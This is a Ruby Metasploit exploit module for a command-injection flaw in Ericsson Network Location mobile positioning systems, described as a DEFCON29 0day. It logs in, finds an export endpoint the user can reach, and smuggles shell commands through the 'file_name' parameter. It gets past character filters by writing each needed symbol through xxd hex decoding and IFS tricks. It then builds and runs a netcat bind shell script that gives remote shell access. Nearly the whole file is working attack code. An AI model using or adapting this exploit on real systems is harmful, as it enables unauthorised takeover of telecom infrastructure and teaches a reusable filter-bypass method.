##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ericsson Network Location MPS - Restrictions Bypass RCE (Meow Variant)',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Ericsson Network Location Mobile Positioning Systems.
  The "export" feature in various parts of the application is vulnerable.
  It is a feature made for the information in the tables to be exported to the server and imported later when required.
  Export operations contain "file_name" parameter.
  This parameter is assigned as a variable between the server commands on the backend side.
  It allows command injection with preventions bypass operation.

        "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"

        /////// This 0day has been published at DEFCON29-PHV Village. ///////

      ),
      'Author'         => [
        'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2021-'],
          ['URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon29.html'],
          ['URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],
          ['URL', 'https://www.wallofsheep.com/pages/dc29#akkus']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'DefaultOptions' =>
        {
    'WfsDelay' => 600,
          'RPORT' => 10083,
          'SSL'   => true,
          'PAYLOAD' => 'cmd/unix/bind_netcat'
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Ericsson NLG', {}]],
      'DisclosureDate' => 'Apr 21 2021',
      'DefaultTarget'  => 0)
    )
    register_options [
  OptString.new('USERNAME',  [true, 'NLG Username']),
        OptString.new('PASSWORD',  [true, 'NLG Password']),
        OptString.new('TARGETURI',  [true, 'Base path for NLG application', '/'])
    ]
  end
  ######################################################
  #
  # There are a total of 20 vulnerable areas.
  # These areas are located in cells,psap,numbering,smpp fields.
  # One request for each of these fields has been used for exploitation.
  # These are listed below.
  #
  # /[CLS_ID]/[CLS_NODE_TYPE]/numbering/plmns/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
  # /[CLS_ID]/[CLS_NODE_TYPE]/smpp/export?file_name=/export/home/mpcadmin/[FILENAME]&host=[HOSTNAME] HTTP/1.1
  # /[CLS_ID]/[CLS_NODE_TYPE]/cells/gsm/cgi_cells/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
  # /[CLS_ID]/[CLS_NODE_TYPE]/psap/wireless/specific_routings/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
  #
  ######################################################

  # for Origin and Referer headers
  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
  # split strings to salt
  def split(data, string_to_split)
    word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
    string = word.split('"]').join('').split('["').join('')
    return string
  end

  def cluster

    res = send_request_cgi({
    # clusters information to API directories
      'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),
    'method'  => 'GET'
    })

    if res && res.code == 200 && res.body =~ /version/
      cls_version = split(res.body, "version")
      cls_node_type = split(res.body, "node_type")
      cls_name = split(res.body, "cluster_name")
      cls_id = cls_version + "-" + cls_node_type + "-" + cls_name
      return cls_version, cls_node_type, cls_name, cls_id
    else
      fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')
    end
  end

  def permission_check(token)
    # By giving numbers to the vulnerable areas, we can easily use them in JSON format.
    json_urls = '{"1":"/positioning_controls/gsm/","2":"/smpp/", "3":"/cells/gsm/cgi_cells/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}'
    parse = JSON.parse(json_urls)
    cls_id = cluster[3]
    cls_node_type = cluster[1]

    i = 1
    while i <= 6 do
       link = parse["#{i}"]
       i +=1
       # The cells export operation returns 409 response when frequent requests are made.
       # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds.
       if link == "/cells/gsm/cgi_cells/"
   sleep(7)
       end
       filename = Rex::Text.rand_text_alpha_lower(6)

       res = send_request_cgi({
         'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),
       'method'  => 'GET',
       'headers' =>
           {
         'X-Auth-Token' => token,
             'Origin' => "#{peer}"
           }
       })

       if res && res.code == 403 then # !200
   next
       elsif res && res.code == 200
   return link, true
       elsif res && res.code == 400
   return link, true
       elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.
         return "no link", false
       end
    end
  end

  def check
    # check connection and login
    token = login(datastore['USERNAME'], datastore['PASSWORD'])
    res = send_request_cgi({
      # product information check
      'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'),
    'method'  => 'GET',
    'headers' =>
        {
      'X-Auth-Token' => token,
          'Origin' => "#{peer}"
        }
    })

    if res && res.code == 200 && res.body =~ /version/
    version = split(res.body, "version")
    pnumber = split(res.body, "product_number")
    print_status("Product Number:#{pnumber} - Version:#{version}")
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

  def login(user, pass)

    json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}'

    res = send_request_cgi(
      {
      'method' => 'POST',
      'ctype'  => 'application/json',
      'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),
      'headers' =>
        {
          'Origin' => "#{peer}"
        },
      'data' => json_login
      })

    if res && res.code == 200 && res.body =~ /true/
      auth_token = split(res.body, "authToken")
      return auth_token
    else
      fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!')
    end
  end

  def prep_payloads(token, link)
    fifo = Rex::Text.rand_text_alpha_lower(4)
        #/       = 2F   - y
        #;       = 3B   - z
        #|       = 7C   - p
        #>&      = 3E26 - v
        #>/      = 3E2F - g
        #>       = 3E   - k
        #<       = 3C   - c
        #'       = 27   - t
        #$       = 24   - d
        #\       = 5C   - b
        #!       = 21   - u
        #"       = 22   - x
        #(       = 28   - m
        #)       = 29   - i
        #,       = 2C   - o
        #_       = 5F   - a

  # echo `xxd -r -p <<< 2F`>y
  payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", '
        # echo `xxd -r -p <<< 3B`>z
  payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 7C`>p
  payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 3E26`>v
  payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 3E`>k
  payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 27`>t
  payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 24`>d
  payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 5C`>b
  payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", '
        #echo `xxd -r -p <<< 21`>u
  payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", '
        #echo `xxd -r -p <<< 22`>x
  payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 28`>m
  payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 29`>i
  payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 2C`>o
  payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 5F`>a
  payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 3C`>c
  payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3C`>c&&pwd>fl") +'", '
  #echo `xxd -r -p <<< 3E2F`>g
  payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E2F`>g&&pwd>fl") +'", '
  #echo "mkfifo /tmp/file; (nc -l -p 1544 ||nc -l 1544)0<" > p1
  payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}mkfifo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}`cat${IFS}z`${IFS}`cat${IFS}m`nc${IFS}-l${IFS}-p${IFS}#{datastore['LPORT']}${IFS}`cat${IFS}p``cat${IFS}p`nc${IFS}-l${IFS}#{datastore['LPORT']}`cat${IFS}i`0`cat${IFS}c`>p1&&pwd>fl") +'", '
  #echo "/tmp/file | /bin/sh >/tmp/file 2>&1; rm /tmp/file" > p2
    payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}${IFS}`cat${IFS}p`${IFS}`cat${IFS}y`bin`cat${IFS}y`sh${IFS}`cat${IFS}g`tmp`cat${IFS}y`#{fifo}${IFS}2`cat${IFS}v`1`cat${IFS}z`${IFS}rm${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}>p2&&pwd>fl") +'", '
  #echo `cat p1` `cat p2` > 1.sh
  payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}p1`${IFS}`cat${IFS}p2`>1.sh&&pwd>fl") +'", '
  #chmod +x 1.sh
  payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}1.sh&&pwd>fl") +'", '
  #sh 1.sh
  payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}1.sh&&pwd>fl") +'"}'

  if link == "/cells/gsm/cgi_cells/"
    print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!")
  end

        parse = JSON.parse(payloads)
  cls_id = cluster[3]
  cls_node_type = cluster[1]
  i = 1
  while i <= 21 do
     pay = parse["#{i}"]
     i +=1
     if link == "/cells/gsm/cgi_cells/"
       sleep(7)
           end
           send_payloads(cls_id, cls_node_type, token, link, pay)
    end
  end


  def send_payloads(id, type, token, link, pay)

    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, 'export?file_name=/export/home/mpcadmin/%7C' + pay),
    'method'  => 'GET',
    'headers' =>
        {
      'X-Auth-Token' => token,
          'Origin' => "#{peer}"
        }
      })

  end

  ##
  # Exploiting phase
  ##
  def exploit

    unless Exploit::CheckCode::Appears == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    auth_token = login(datastore['USERNAME'], datastore['PASSWORD'])
    unless true == permission_check(auth_token)[1]
      fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!')
    else
      perm_link = permission_check(auth_token)[0]
      print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}")
    end

    prep_payloads(auth_token, perm_link)

  end
end